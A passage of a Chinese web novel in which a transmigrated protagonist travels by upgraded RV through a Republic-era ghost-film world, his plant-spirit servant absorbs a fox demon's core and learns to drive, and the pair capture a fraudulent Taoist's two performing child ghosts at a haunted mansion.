四目道长眼睛一瞪,作势要打:“你个傻小子!箐箐是那老和尚的徒弟,自然也得跟着吃素!你想害她破戒挨骂啊?鸡腿自己吃了!”
古德听到箐箐这个名字,心中微微一动,箐箐的扮演者,可是在他前世留下深刻的记忆的,毕竟大多数男生都会看过那部蜜桃。
随即古德想到了同一个世界里任家镇的那位任婷婷,这可是诸天万界大佬的心头好,不知道现在任老爷有
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没有变成僵尸。
在这轻松的氛围中,古德又开始发呆散发思维。
饭毕,家乐手脚麻利地收拾了桌子,重新沏上一壶清茶,茶香袅袅,冲淡了之前的食物气息。
古德见时候不早,便起身提出告辞。
“四目道友,千鹤道友,多谢今日盛情款待,更感谢二位指点迷津。天色尚可,古某打算这就动身,前往任家镇拜访林道长。”
古德拱手道,语气诚恳。
四目道长点点头,也站起身,走到窗边指了指方向:
“从此处出去,沿着门口那条山路一直往东走,大约百十里地,能看到一条官道,那是通往省城的大路。上了官道后往南拐,再走个几十里,看到一片很大的芭蕉林,旁边就有富贵镇的界碑了。路途不算近,山路也不好走,古道友你这路上也需多加小心。”
说着,他从怀里掏出一封早已准备好的用牛皮纸信封装好的信,递给古德,又补充道:
“见到我师兄,把这信给他,他就明白是我的意思了。他若问起我近况,你就说……”
他清了清嗓子,摆出一副正经模样,“就说四目一切安好,让他不必挂念。等我下次去任家镇,再找他蹭饭。”
古德笑着双手接过信件,妥善收好:“四目道友放心,信一定带到,话也一定传到。”
千鹤也挣扎着起身相送:“古道友,大恩不言谢。以后若有用得着贫道的地方,尽管传信。”
告别,并且离开四目那座道场后,古德重新坐房车。
阿草坐在副驾驶,手里还紧紧攥着那颗狐妖内丹,脸上是压抑不住的兴奋和期待。
“老板,我们真的要去见那位林九英道长吗?”阿草问道。
“当然,反正我们也不知道应该去哪里。”
古德意念一动,在导航输入了富贵镇。
随着导航箭头再次出现,他发动了车子。
升级后的肾动力发动机在启动时只有低沉平稳的嗡鸣,车身几乎感觉不到震动,古德轻踩油门,房车缓缓驶离了空地,沿着崎岖的山路向外驶去。
第271章 阿草吸收内丹
夕阳西斜,将天边染成了一片橙红。
白色房车沿着崎岖的土路平稳前行,车轮碾过碎石,发出沙沙的声响。
这个时代人烟稀少,古德在路上都没见到有其他行人。
驾驶室里,他单手握着方向盘,目光扫过窗外飞掠而过的丛林和远山。
副驾驶座上,阿草正捧着一颗鸽子蛋大小、泛着淡淡粉色光晕的珠子,左看右看,爱不释手。
那珠子在夕阳余晖中流转着温润的光泽,内部仿佛有云雾在缓缓旋动,偶尔闪过一丝不易察觉的赤色流光。
阿草将它捧在手心,能感受到其中蕴含的精纯妖力,那是一种与她自身草木气息截然不同,更加炽热躁动的能量,但却被某种方式淬炼得异常纯粹。
“喜欢吗?”
古德瞥了她一眼,嘴角带着笑。
“喜欢!”
阿草用力点头,眼睛亮晶晶的,“这内丹好漂亮,而且里面的妖力好精纯。我都能感觉到,如果吸收了它,我的修为肯定能涨一大截!”
她将内丹凑到眼前仔细端详,纤长的手指轻轻摩挲着珠体表面。
作为草木成精,她原本的修行之路走的是温和缓慢的路径,靠吸收日月精华,天地灵气一点点积累,后面没有灵气入魔后,依靠欲望修行,但也只能维持自身修为不衰退。
像这样直接获取其他妖族凝练的内丹来提升修为,在从前的认知里几乎是想都不敢想的事情。
倒不是没有这种法子,而是弱肉强食的妖族世界中,她这样战力平平的草木精怪,不去被别人夺了内丹就不错了,哪敢奢望夺取别人的?
可现在,古德就这样随手将一颗百年狐妖的内丹给了她。
阿草心里涌起一股暖意,捧着内丹的手都不自觉地收紧了些。
古德瞥了她一眼,一边熟练地操控方向盘,让车子稳稳压过一处明显的坑洼,一边开口道:
“别光看着了。现在路上没什么事,你现在去后面房间里,把这内丹吸收了吧。对你修为有好处。”
阿草“啊”了一声,回过神来,脸上闪过一丝困惑,她转头看向古德:
“老板,你是说……让我现在就去吃了它?在这里?”
“不然呢?留着过年?”
古德语气平淡,“反正闲着也是闲着。”
“哦,哦,好!”
阿草连忙点头,但还是有点不确定地问,“那……老板,我进去吸收内丹了,就不陪你了?”
她是怕古德一个人开车孤独。
古德目视前方,语气随意却带着决定:
“没事,等你你吸收完了,出来就换你开。以后啊,这开车的活儿,大部分时间就交给你了。”
“开车?”
阿草一愣,抬起头,脸上露出难以置信的表情,“老板,你是说……让我来开这个房车?以前你不是从来不让我碰方向盘的吗……”
她记得很清楚,在香江时,古德对这辆车子宝贝得紧,从来不许旁人碰方向盘。
有几次她好奇想摸摸,都被古德用眼神制止了。
怎么突然就……
“对啊,让你开。”
古德说得理所当然,“以前是以前,现在是现在。而且——”
他顿了顿,嘴角似乎弯了一下,“总不能老是老板我当司机吧?你得学着分担分担。以后路途长了,咱俩可以轮着开……放心,现在这车耐造,你开车稳当点就行。”
阿草愣了几秒,随即,一股难以言喻的喜悦和激动从心底涌了上来,瞬间冲垮了那点小小的惶恐。
让她开车!
这是更进一层的信任!
而且能帮到老板,能成为老板的御用司机!
阿草感觉自己的心跳都加快了几分。
这样一来,她就更有用了,更不可或缺了,就不用总是担心自己太没用会被丢下了。
她偷偷瞄了一眼古德专注开车的侧脸,心里暖烘烘的,下定决心一定要把车开得又稳又好。
古德自然不知道阿草心里转了这么多念头,他让阿草开车,理由很简单简单。
系统说了,仆从开车也算有效里程,能帮他刷公里点数。
有这免费的司机不用,自己傻乎乎地一直握着方向盘,那才是浪费。
至于阿草会不会把车开坏?
升级后的“金刚不坏车身”是开玩笑的么?
只要不故意往悬崖底下开,在这民国土路上随便折腾。
“好的老板!”
她用力点头,声音里是压抑不住的雀跃,“我这就去吸收内丹,然后马上回来学开车!我一定好好学,尽快学会,以后开车就交给我!”
古德看着阿草那副“誓要成为老司机”的认真表情,心里觉得有趣。
古德只是随意摆了摆手,目光依旧看着前方的山路:“去吧,别急,稳当点吸收,别贪多出岔子。”
阿草珍而重之地将内丹握在手心,推开驾驶室与生活区之间的隔门,穿过客厅,回到了分配给她的那间卧室。
卧室里很安静。
阿草在柔软的床铺上盘膝坐好,将那颗内丹置于掌心。
她深吸一口气,闭上眼睛,开始运转古德传授给她的青木养元诀。
这是古德从技能树加点出来的一部适合草木精怪修炼的基础**,中正平和,重在温养本源、巩固根基。
现在在这个存在灵气的9527世界,这**刚好可以让阿草在港综世界修成的魔气给转换掉。
此刻,随着**运转,她周身泛起一层淡淡的、宛如初春新叶般的嫩绿色光华。
那光华温润柔和,缓缓流淌,将她整个人笼罩其中。
掌心的狐妖内丹似乎受
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到了牵引,表面的粉色光晕开始明灭闪烁,一丝丝精纯的、带着灼热气息的妖力被抽离出来,化作缕缕粉红色烟霞,顺着阿草的掌心渗入。
“唔……”
阿草轻轻闷哼一声,眉头微蹙。
狐妖属火,内丹中的妖力天然带有炽烈属性。
而她本体是黑鼠尾草,属木。
木生火,这本是相生的关系,但骤然接纳如此精纯庞大的火属妖力,对她来说仍是不小的冲击。
那妖力进入经脉后,仿佛化作了滚烫的溪流,所过之处带来灼热的刺痛感。
阿草咬紧牙关,全力运转青木养元诀,以自身温和的木属灵气去包裹、引导、炼化这些外来力量。
嫩绿色光华与粉红色烟霞在她体内交织、融合。
起初有些艰难,两股属性不同的力量相互冲撞,让阿草额角渗出细密的汗珠,身体也微微颤抖起来。
但她心性坚韧,加上**确实玄妙,渐渐地,那灼热感开始减弱,变得温顺,最终化作暖流,融入她的四肢百骸、丹田气海。
时间一点点过去。
卧室内,阿草身上的光华越来越盛,气息也在稳步攀升。
她原本略显虚浮的妖力,在融合了狐妖百年内丹的精粹后,变得凝实、厚重。
肌肤表面,甚至隐隐泛起一层如玉般的温润光泽,整个人透出一股洗尽铅华后的清灵之意。
大约过了一个时辰,阿草周身光华猛地一收,全部没入体内。
她缓缓睁开眼睛,眸中似有青碧色流光一闪而逝,比以往更加清澈灵动,眼波流转间,竟自然带上了几分浑然天成的妩媚风情。
那是狐妖内丹残留的一丝特质,与她本身的草木清灵结合,形成了一种独特的气质。
她低头看向掌心。
那颗原本光华流转的内丹,此刻已化作一小撮黯淡的灰白色粉末,其中的能量已被吸收殆尽。
阿草轻轻舒了口气,感受着体内澎湃了许多的妖力,脸上绽放出灿烂的笑容。
她站起身,活动了一下手脚,只觉身轻体健,五感都敏锐了不少。
她走到墙边镶嵌的穿衣镜前,仔细端详镜中的自己。
容貌似乎没有太大变化,毕竟她可以随意变化。
其他就是但皮肤更加光洁细腻,眼眸更加明亮有神,整个人由内而外透着一股焕然一新的精气神。
最让她惊喜的是,她对自身妖力的掌控更加精细了,心念微动,指尖便泛起一抹淡淡的绿芒,凝而不散。
“成功了,依靠这内丹果然把我的魔气洗刷掉了,而且修为更上一层。”
阿草对着镜子里的自己露出一个开心的笑容,用力握了握拳,“这样,就能帮老板更多忙了!”
她整理了一下衣裙,推开卧室门,穿过客厅,重新回到驾驶室。
第272章 阿草开车,古德解放
驾驶室里,古德正单手支着下巴,百无聊赖地看着窗外飞速**的景色。
听到动静,他转过头,上下打量了阿草一番,眼中掠过一丝满意:“不错,气息凝实了不少,看来收获不小。”
“嗯!”
阿草重重点头,脸上是抑制不住的兴奋,“老板,这内丹的力量好精纯!我感觉修为提升了一大截,对周围灵气的感知也敏锐了很多!现在要是再遇到像之前那种恶鬼,我肯定能轻松解决!”
“有进步是好事。”
古德笑了笑,解开安全带,从驾驶座上站起来,“来吧,现在换你。我教你开车。”
阿草眼睛一亮,立刻小鸡啄米似的点头,有些雀跃又有些紧张地蹭到驾驶座旁。
古德让开位置,示意她坐下。
驾驶座很宽大,包裹性很好的皮革座椅还带着古德残留的体温。
阿草小心翼翼地坐进去,双手握住方向盘,触感冰凉而扎实。
她好奇地打量着面前复杂的仪表盘、各种按钮和操纵杆,感觉既新奇又有点无从下手。
“别紧张,比之前的手动挡还简单,这自动挡只要控制方向、控制速度就可以。”
古德站在一旁,开始给她讲解最基本的东西,虽然阿草知道,但是她之前了解的是手动挡。
“这是方向盘,控制车子往左往右。脚下有两个踏板,左边是刹车,踩下去车子就慢下来、停住;右边是油门,轻轻踩,车子就走,用力踩,就跑得快。这个是档杆,现在挂着D档,就是前进档,不用动它。这个是手刹,停车的时候拉起来……”
他讲得简单直白,阿草听得认真,不时点点头。
她毕竟是修炼有成的精怪,记忆力、理解力和身体协调性都远超常人,古德说一遍,她基本上就记住了。
“原理大概就是这样。实际操作一下,很快就熟了。”
古德拍拍她的肩,“看到前面那个发光的绿色箭头了吗?”
阿草往前看去,果然在前挡风玻璃的左上角,投射着一个半透明的、散发着微光的绿色箭头,指向正前方略偏右的方向。
箭头下方还有一行小字:“沿当前道路继续行驶11.7公里”。
“这叫导航,它会告诉你该怎么走。你就跟着箭头方向开,它会自己调整。”
古德解释道,“路上没什么车,你慢慢开,找找感觉。记住,轻踩油门,慢打方向,眼睛看远一点。”
“明白了,老板!”
阿草深吸一口气,双手紧紧握住方向盘,目光坚定地看向前方。
她按照古德教的,右脚轻轻踩下油门踏板。
嗡——
引擎发出低沉而平稳的轰鸣,车身缓缓向前滑行。
阿草身体微微紧绷,但很快发现,这房车跑起来其实很稳,并没有想象中那么难以驾驭。
她小心翼翼地调整着方向盘,让车子保持在土路中央。
开始有些生涩,方向盘打得有点猛,车身跟着晃了晃。
但开了几分钟后,她逐渐找到了感觉,动作越来越顺畅。
窗外的田野、树木开始以稳定的速度向后移动。
晚风从降下一半的车窗吹进来,拂动她的发丝。
阿草握着方向盘,看着前方的道路在车灯下延伸,一种奇妙的掌控着这个钢铁造物驰骋的感觉油然而生。
“对,就这样,保持住。”
古德在旁边观察了一会儿,见阿草上手很快,开得越来越稳,便放下心来,“速度可以再提一点,不用太慢。对,就这样,很好。”
得到鼓励,阿草胆子大了些,右脚稍稍加力。
车速提升,风声在耳边呼啸,两旁的景物向后飞掠的速度更快了。
她不但不害怕,反而觉得有种前所未有的畅快感。
原来开车是这种感觉!
古德看她开得渐入佳境,嘴角勾起笑意。
他解开副驾驶的安全带,拍拍阿草的肩膀:“开得不错。那你先开着,我进去歇会儿。有事喊我。”
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>“好的老板!交给我吧!”
阿草目不斜视地盯着前方,声音里带着初掌方向盘的兴奋和认真。
古德推开隔门,走进客厅。
升级后的房车隔音效果极佳,关上门后,外面的噪音几乎被完全隔绝。
他惬意地伸了个懒腰,把自己扔进那张柔软宽敞的L型沙发里。
“这才叫生活啊……”古德发出满足的叹息。
他心念一动,沙发侧面的小冰箱门自动滑开,一罐冰镇快乐水飞入他手中。
“啪”一声拉开拉环,仰头灌了一大口,冰爽甜腻的气泡在口腔炸开,带来说不出的舒坦。
终于不用亲自开车了!解放了!自由了!
他靠在沙发里,看着全景天窗外缓缓流过的夜空星辰,思绪开始飘远。
按照四目给的方向和导航指示,大概今天子时就能到富贵镇。
见到九叔后该怎么交涉?
把四目的信交给他后,再直接说明来意,说自己能帮忙处理他积压的那些棘手鬼物?
电影中九叔为人正直严谨,但也不是不懂变通,而且确实为超度那些厉鬼费神,自己这个提议他大概率会接受。
具体细节还得见面再谈。
不过这富贵镇能有什么事……他怎么不记得有富贵镇的这个剧情?
古德一边心里想着,一边有一口没一口地喝着快乐水。
房车的行驶极其平稳,几乎感觉不到颠簸,只有窗外景色匀速后移,提示着他正在路上。
这种有人开车、自己当乘客的感觉,久违了。
时间在宁静中悄然流逝。
窗外的天色彻底黑透,星辰愈发清晰。
古德有些昏昏欲睡。
不知过了多久,也许两三个小时,驾驶室与客厅之间的隔门被轻轻敲响,然后推开。
阿草探进头来,脸上带着一丝迟疑。
“老板,”她压低声音说,“前面……好像有点不对劲。”
古德瞬间清醒,坐直身体:“怎么?”
第273章 银票贴鬼额头?
古德听到阿草的话,原本有些慵懒的神色立刻收了起来,眉毛微微一挑:“什么情况?说清楚点。”
阿草皱了皱鼻子道:
“我刚开到这边,发现前面不远路右边,有一片很大的宅子。我感知到那宅子里阴气很重,鬼气弥漫,还混杂着一股子怨念的味道,肯定有厉鬼或者至少是怨灵在里面作祟。不过……”
她顿了顿,“宅子里还有活人的阳气,不止一个。我才没直接开过去,先来问问老板你怎么办。”
古德一听“厉鬼”、“怨灵”这几个词,眼睛顿时亮了一下。
他现在最缺的就是这个,这种盘踞在宅院里的厉鬼,听起来正合适。
“还有活人?”
古德站了起来,顺手拿起搭在沙发靠背上的外套,边穿边往外走,“那更得去看看了。走,跟我下车瞧瞧。”
两人下了车,关好车门。
夜晚的荒野,空气带着凉意,四周一片漆黑,只有车灯和天上稀疏的星光照亮些许轮廓。
阿草指着前方夜色中一片模糊的建筑轮廓:“老板,你看那边,那个宅子。”
古德顺着阿草指的方向望去,大约百十米开外,官道右侧,果然影影绰绰矗立着一片黑沉沉的建筑轮廓。
走近一些,借着车灯余光和月光,可以看清那是一座占地颇广的宅院。
不是南方常见的青砖小楼,而是北方风格的四合院制式,但规模要大得多,看起来有好几进。
院墙高耸,门楼气派,黑漆大门上还有铜环,在这荒郊野外显得格外突兀和奢华。
宅子周围很空旷,没有其他房屋毗邻,只有一条石板小路从官道岔出去,通向宅门。
但再往远处看,越过一片小树林和田野,隐约能看到成片的、较低矮的建筑轮廓和点点灯火,那应该是个规模不小的镇子。
这宅子选址很有意思,既不在镇子里面,也不远离人烟,而是恰恰卡在镇子边缘、靠近荒野的开阔地带。
像是刻意要与镇上的热闹保持一点距离,图个清静,却又舍不得完全脱离人群的便利。
“这宅子建得倒是气派。”
古德没有立刻上前,而是站在原地,微微眯起眼睛,运起法力凝聚双目,开启法眼仔细观瞧。
这一看,他眉头就皱了起来。
只见整座宅院笼罩在一层灰蒙蒙、不断翻涌的阴气之中,这阴气并非自然形成的薄雾,而是带着明显的怨念和戾气,颜色偏向暗沉,如同不祥的污浊水流,在宅院上空和墙壁间缓缓流动。
几处窗户透出的灯火,在这阴气笼罩下也显得惨淡昏黄,仿佛随时会被扑灭。
更有些角落,黑气凝聚不散,隐隐传来无声的哀嚎和哭泣。
“啧,”古德摇了摇头,语气里带上了几分嘲讽。
“也不知道是哪个大聪明选的地方,在这起宅子。这是嫌自家日子过得太舒坦,非得招点不干净的东西来做客?”
阿草好奇地歪头:“老板,这地方风水不好吗?我看着挺开阔的啊。”
“何止是不好。”
古德指着那宅子,随口点评起来。
“你看,这宅子坐落在镇子边缘,背靠荒野,面向官道。表面看,前有路,算是有明堂,但这条路是官道,车马行人,气流杂乱急促,并非聚气之所,反而容易冲散家宅祥和之气,这叫冲煞。”
他手指移向宅子后方和两侧:“背后是荒野,无靠山,左右也无其他建筑拱卫,孤零零一座大宅暴露在此,四周空旷,阴风毫无遮挡,长驱直入。这在风水上叫孤峰独耸,主家宅不宁,人丁不安,容易招引阴邪之物。”
“再看地势。”
古德目光扫过宅基,“这里比周围田地略高一点,但高得有限,并非真正的**,反而像是突兀隆起的一个小土包。在风水中,宅基宜平缓,忌突兀。
这种地形,容易**地下的阴湿秽气,加上四面无遮,夜间阴气下沉,全都汇聚到宅子里,散不出去。住久了,健康出问题都是轻的,招来
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些不干净的东西,简直是必然。”
他总结道:“简单说,这地方要山没靠山,要水没活水,藏不住风,聚不了气,反而像个专门吸纳荒野阴气和杂乱路煞的漏斗。
活人住这里,阳气日损,心神不宁。**或者阴物待这里,倒是如鱼得水,阴气滋养,怨念倍增。造这宅子的人,要么是半点不懂风水的暴发户,要么……就是别有用心。”
阿草听得似懂非懂,但“招引阴邪”、“如鱼得水”这几个词是明白的。
她捂着嘴轻笑:“老板,你说会不会……那宅子的主人,就是喜欢和鬼一起住?觉得热闹?”
古德也被她这清奇的脑回路逗笑了:
“那他的爱好可真够独特的。走吧,进去看看,到底是何方神圣,还是何方鬼怪。”
两人不再停留,沿着石板小路走向那黑漆大门。
离得近了,更能感受到宅子里散发出的那股阴森寒意,与秋夜的凉意不同,这是一种透入骨髓的、带着怨憎的冰冷。
奇怪的是,大门并未紧闭,而是虚掩着,里面透出晃动的人影和隐约的说话声,似乎颇为慌乱。
刚走近宅子那两扇紧闭的朱漆大门,还没等古德伸手叩门,里面就隐隐约约传来了人声。声音慌乱,还夹杂着物品倒地的哐当声。
一个带着哭腔的、哆哆嗦嗦的男声尖叫道:“有鬼啊大师,他冲我来了!大师!怎么办啊!”
另一个声音扯着嗓子喊道:“莫慌!莫慌!谭老爷莫慌!按我教你的做!快用银票贴它额头!对!就贴额头!那上面有朱砂!朱砂辟邪,鬼怕这个!贴住它就跑不了了!”
不过仔细听,这声音里充满了一些计谋得逞的愉悦感。
古德放在门上的手顿住了,脸上露出一种混合着荒谬、震惊和极度无语的表情。
他甚至怀疑自己是不是听错了。
银票?
贴鬼额头?
朱砂辟邪他懂,可这跟银票有什么关系?还“鬼怕这个”?
第274章 灵幻先生开场
“银票?贴鬼额头?朱砂印?”
他低声重复了一遍,差点笑出声,“这又是哪位大聪明想出来的高招?用钱砸鬼?还指望官印的朱砂辟邪?这得是多不要脸……不对,是多有创意的人才说得出口?”
旁边的阿草也听得瞪大了眼睛,小声嘀咕:“银票……能定鬼?老板,这个世界的道士,现在驱邪都这么朴实无华且实惠了吗?”
“实惠个鬼,”古德没好气地低声回了一句。
不过他好奇心彻底被勾了起来。
他想看看,能说出这种话的,究竟是怎样的神人。
手上稍一用力,“吱呀”一声,虚掩的黑漆大门被推开了一道缝隙。
古德和阿草闪身而入。
进门是一个宽敞的庭院,青砖铺地,但此刻一片狼藉。
几张桌椅翻倒在地,杯盘碗盏摔碎了一地,最中间还有一个法坛。
靠近大门位置,一个穿着绸缎长衫、身材富态的中年男人,正满脸惊恐地背靠着台阶,手里哆嗦着举着一张黄色的东西。
看样式,还真是一张银票,面额似乎不小。
他面前,飘着一个穿着清朝官员补服、戴着顶戴花翎、脸色青白、吐着长舌头的小鬼。
没错,就是七八岁左右的小孩鬼。
那小鬼做出一副张牙舞爪的吓人模样,但动作有点僵硬,眼神飘忽,时不时还偷瞄一下这个中年男子。
富态男人眼看那鬼又逼近一步,吓得魂飞魄散,闭着眼睛就把手里那张银票往前一戳,正好贴在了鬼的额头上。
银票晃晃悠悠地粘在那里,上面的红色官印在烛光下倒是挺显眼。
那鬼被银票贴中,动作立刻停了下来,双手垂下,舌头也缩回去一点,直挺挺地站着,只有眼珠子还在乱转。
不过一道声音传来:“谭老爷,你贴的是多大的银票。”
那谭老爷愣了一下道:“是50两的。”
那声音马上说:“不行啊,50两的定不住他,要500两才行。”
听到那个声音,那小鬼一把抓下额头的银票,又开始往谭老爷身前凑过去。
古德看着这一幕,嘴角抽了抽,实在忍不住,“噗嗤”一下笑出了声。
这场景,这搭配,这荒唐的“驱鬼”方法……一股强烈的既视感涌上心头。
再结合之前四目道长提到的九叔要来富贵镇,以及这熟悉的民国初年背景……
一个电影名字闪过脑海。
他恍然大悟,对了,这不就是《灵幻先生》开场的经典桥段吗?
那个半吊子道士茅山明,养了两只小鬼大宝小宝,专门用来配合他演戏,骗那些为富不仁或者心虚怕鬼的土财主的钱。
眼前这个穿着清朝官服、演技浮夸的小鬼,应该就是茅山明养的两只小鬼之一,小宝。
而被吓的谭老爷,就是电影里那个抠门又好色的谭百万了。
而那个出馊主意用银票定鬼的高人,不用说,肯定就是茅山明本人了,现在正在内厅里演戏。
看着那小鬼虽然努力扮凶,但身上并无血煞怨气,反而有种懵懂,古德心里摇了摇头。
那两只小鬼跟着茅山明,虽说没害**,但装神弄鬼、吓唬百姓、骗人钱财,终究不是正途。
而且看它身上气息,虽然微薄,但还算干净,没沾染太多血煞怨气,说明没真正害过人命,本质不坏。
与其让它们跟着茅山明继续这种朝不保夕、骗吃骗喝的日子,不如让自己收了,找个机会送去地府,说不定还能混个投胎转世的机会。
想到这里,古德不再旁观。
他上前几步,清了清嗓子,声音不大,却带着一股奇特的穿透力,瞬间压过了院子里的慌乱私语。
“何方小鬼,竟敢在此装神弄鬼,惊吓生人?”
院子里的众人,包括那谭百万了和粘着银票的小鬼,都被这突然出现的声音和陌生人吓了一跳,齐齐看了过来。
古德也不废话,眼神一冷,右手抬起,食指与中指并拢如剑,虚空一划,随即屈指一弹。
“疾!”
一张明黄色的符纸从他袖中无声滑出,仿佛被无形之力牵引,化作一道黄光,迅疾无比地射向那额头上还粘着银票的小鬼。
那小鬼看到黄符飞来,感受到上面纯正的破邪收摄之力,吓得魂体都晃荡起来,也顾不得“演戏”了,发出一声惊恐尖利的童音叫喊:
“明叔!救命啊——!”
话音刚落,黄符已经“啪
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”地一声,精准地贴在了它的胸口。
符纸上朱砂符文骤然亮起红光,小鬼整个青白色的魂体如同被漩涡吸引,扭曲着、缩小着,嗖一下就被吸入了符纸之中。
符纸光芒敛去,自动折叠成一个整齐的三角形,轻飘飘地落在地上。那张银票则失去依托,飘然落下。
整个过程快如电光石火,等院子里的人反应过来,那只吓了他们半天的小鬼已经不见了,只剩地上一个叠成三角形的黄符。
阿草见状,很机灵地小跑过去,弯腰捡起那个三角符,小心地放进自己随身携带的一个绣花小挎包里。
那是她用零碎布料自己缝的,就是为了应景这个时代。
她收好符包,这才转身,走到还没完全回过神、瘫坐在地的谭百万面前,居高临下地看着他,漂亮的脸上满是不解和嫌弃:
“喂,你这人,是不是这里有问题?”
她指了指自己脑袋,“银票能定鬼?这种鬼话你也信?你要是钱多得没地方花,不如烧给它们更能让它们放过去。”
谭百万了被她说得面红耳赤,讷讷说不出话来。
这时,院子里其他躲着的人。
几个丫鬟、家丁,还有一个穿着绫罗绸缎、风韵犹存但吓得花容失色的妇人也战战兢兢地从柱子后面、门廊底下钻了出来。
“老爷,老爷你没事吧?”
那妇人扑到谭百万身边,带着哭腔道:“老爷!老爷你没事吧?吓死妾身了!”
她抬头看向古德,眼中满是感激和后怕,“多谢大师!多谢大师出手相救!您真是活神仙啊!一张符就把那恶鬼收了!可比之前那个强多了!”
谭百万也终于回过神来,挣开搀扶,整理了一下凌乱的衣袍,
对着古德深深作了一揖,语气恭敬:“多谢大师出手相救!在下谭百万,是这镇上的乡绅。今晚真是多亏了大师,不然我等恐怕……”
他心有余悸地看了看地上那张孤零零的银票,脸上又是一阵尴尬。
“不过……”谭百万犹豫了一下,欲言又止,眼神飘忽地瞄向院子中央的厅门。
就在这时,一个气急败坏的声音从月亮门后传了出来:
“道友!手下留鬼!”
第275章 收了茅山明的两只鬼
随着话音,一个穿着黄色道袍的中年男人急匆匆跑了出来。
他个子不高,留着一撇八字胡,眼睛不大却透着油滑,脸上此刻又是焦急又是心疼,还有几分被拆穿把戏的恼怒。
正是茅山明。
“这位道友……”
茅山明深吸一口气,努力挤出一个比哭还难看的笑容,对着古德打了个稽首,“在下茅山明,不知……不知道友如何称呼?刚才那只小鬼……它,它其实……”
他话还没说完,异变再生!
“还我弟弟——!”
一声凄厉愤怒的咆哮骤然在庭院中炸响!
这声音比刚才那小鬼的尖啸凶厉了十倍不止,带着浓浓的怨气和焦急!
茅山明身边阴风一卷,另一个穿着同样清朝官服、但身材比茅山明大只,面色铁青狰狞的男鬼凭空出现!
这男鬼双目赤红,死死盯着阿草手里那个装着三角符的挎包,发出一声愤怒的咆哮:
“你!你抓了小宝!把小宝还给我!不然我撕了你!”
大宝厉吼着,周身阴风骤起,吹得庭院里落叶纷飞。
它身形一晃,化作一道模糊的青黑色鬼影,卷起森森寒意,五指成爪,带着凄厉的破空声,朝着古德的面门就猛扑过来!看那架势,是真要拼命了。
速度比刚才那小鬼快得多,带着一股不顾一切的凶戾之气,显然是真的急了。
“大宝!不可!”
茅山明脸色大变,急得直跺脚。
他知道大宝小宝兄弟情深,但更知道眼前这个年轻道士不好惹!
刚才收小宝那一下,举重若轻,根本不是他这半吊子可以比的!
大宝这么莽上去,不是送菜吗?
他慌忙从怀里掏出一把看起来有些年头的油纸伞,手忙脚乱地想要掐诀念咒,把大宝收回来。
这是他师父传下来的法器,专门用来收束、温养这两只小鬼的。
古德看着扑来的恶鬼,脸上却没什么惧色,反而露出一丝感兴趣的表情。
这鬼,倒是挺重情重义,为了同伴敢直接对陌生修士出手。
虽然蠢了点,但这份心性,在鬼物里算是难得了。
“放肆!”
一声清脆的娇叱响起。
只见一直安静站在古德身侧的阿草,柳眉倒竖,俏脸含霜。
她可以容忍别人对她不敬,但绝不容忍有人(鬼)当着她的面对古德出手!
她甚至没等古德吩咐,上前半步,右手抬起,对着那扑来的鬼影虚空一按!
“敢对我老板出手?给我趴下!”
一股无形的、沉重的压力陡然降临!仿佛有一只无形的大手拍下。
飞扑中的大宝闷哼一声,前冲之势戛然而止。
“砰!”
那气势汹汹扑来的大鬼大宝,就像一只撞上了透明墙壁的飞蛾,以比来时更快的速度,惨嚎一声,被一股沛然莫御的巨力狠狠拍在了青石地板上!
鬼体一阵剧烈荡漾,阴气逸散,趴在那里动弹不得,只能发出痛苦的嘶鸣。
阿草这一手,纯粹是以自身浑厚的妖力进行最粗暴的碾压!
她刚刚吸收了狐妖内丹,修为大涨,正愁没地方试试手。
这大鬼看着凶,实则外强中干,哪里经得起她这含怒一击?
谭百万和那妇人更是吓得抱在一起,缩到了柱子后面,连看都不敢看了。
古德也被阿草这突如其来的出手弄得愣了一下,随即有些哭笑不得。
这丫头,护主心切是好事,但这动静是不是大了点?
不过既然出手了,就干脆利落点。同样一张“收鬼符”出现在指间。
茅山明刚把伞摘下来,还没来得及念咒,就看到大宝被凭空拍在地上动弹不得,顿时又惊又怒,更多的还是心疼。
又见到古德手里的收鬼符,他一咬牙,举着伞就冲过来,嘴里喊着:“道友且慢!这鬼……这鬼交由在下处理!”
他跑到古德和大宝之间,挡住古德视线,对着地上动弹不得的大宝使了个眼色,然后举起伞,对准大宝,装模作样地喝道:
“急急如律令!恶鬼伏诛,给我收!”
然而,不等他伞上那点微弱的法力生效,阿草已经不耐烦了。
她觉得这半吊子道士碍手碍脚,还总是想抢老板的“战利品”。
“一边待着去!”
阿草随手一挥,一股柔韧但强劲的妖力涌出,如同无形的鞭子,轻轻抽在茅山明身上。
“哎哟!”
茅山明只觉得腰间一股大力传来,整个人不由自主地向旁边踉跄跌出好几步,差点摔个狗吃屎,手里的油纸伞也脱手飞了出去。
阿草则身形一闪,如同鬼魅般出现在动弹不得
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的大宝身边,伸手凌空一抓,一股妖力束缚住大宝的魂体,将他提溜起来,带到古德面前,邀功似地说:
“老板,抓到了!”
古德看着阿草那“快夸我”的亮晶晶眼神,再看看旁边摔得七荤八素、满脸悲愤的茅山明,以及地上那个被妖力拎着、兀自挣扎怒视的大宝,突然感觉这场景有点不对劲。
他摸了摸鼻子,心里嘀咕:“我怎么感觉自己有点像反派了?带着厉害打手,欺负人家孤苦伶仃的小鬼兄弟?”
不过转念一想,阿草也是为了自己,而且这两只鬼跟着茅山明确实没前途,早点收了净化,对它们也是好事。
至于方式嘛……过程不重要,结果好就行。
他轻咳一声,掩饰住那一丝微妙的心虚,对着阿草淡淡点了点头:“嗯,做的不错。”
然后,他不顾茅山明在旁边焦急大喊“道友留情!它们没害过人!”,也不管谭百万等人惊疑不定的目光,再次抬手,弹出一张收鬼符。
黄符贴在大宝额头,红光闪过,挣扎怒吼的大宝也被吸入符中,折叠成另一个三角符,落在了阿草及时伸出的手心里。
阿草喜滋滋地将两个三角符包并排放在挎包里,还轻轻拍了拍。
庭院里,一时间寂静无声。
只有茅山明失魂落魄地坐在地上,看着阿草的挎包,又看看面无表情的古德,欲哭无泪。
谭百万等人则畏畏缩缩地看着古德,眼神里充满了敬畏,以及对茅山明毫不掩饰的鄙夷。
看看人家!这才是真大师!符纸一出,恶鬼俯首!
哪像这个假道士,就会让人用银票贴额头**。
古德无视了这些目光,先是走到茅山明面前,居高临下地看着他,淡淡开口:
“养鬼为患,装神弄鬼,骗取钱财。道友你走偏了!”
茅山明浑身一颤,抬起头,对上古德那双仿佛能看透一切的眼睛,所有的狡辩和托词都卡在了喉咙里,脸色瞬间变得惨白。
不过古德没有继续搭理他,来到谭百万的身边,对着他道:
“你这宅子的确闹鬼,不过不是闹这两只鬼。”
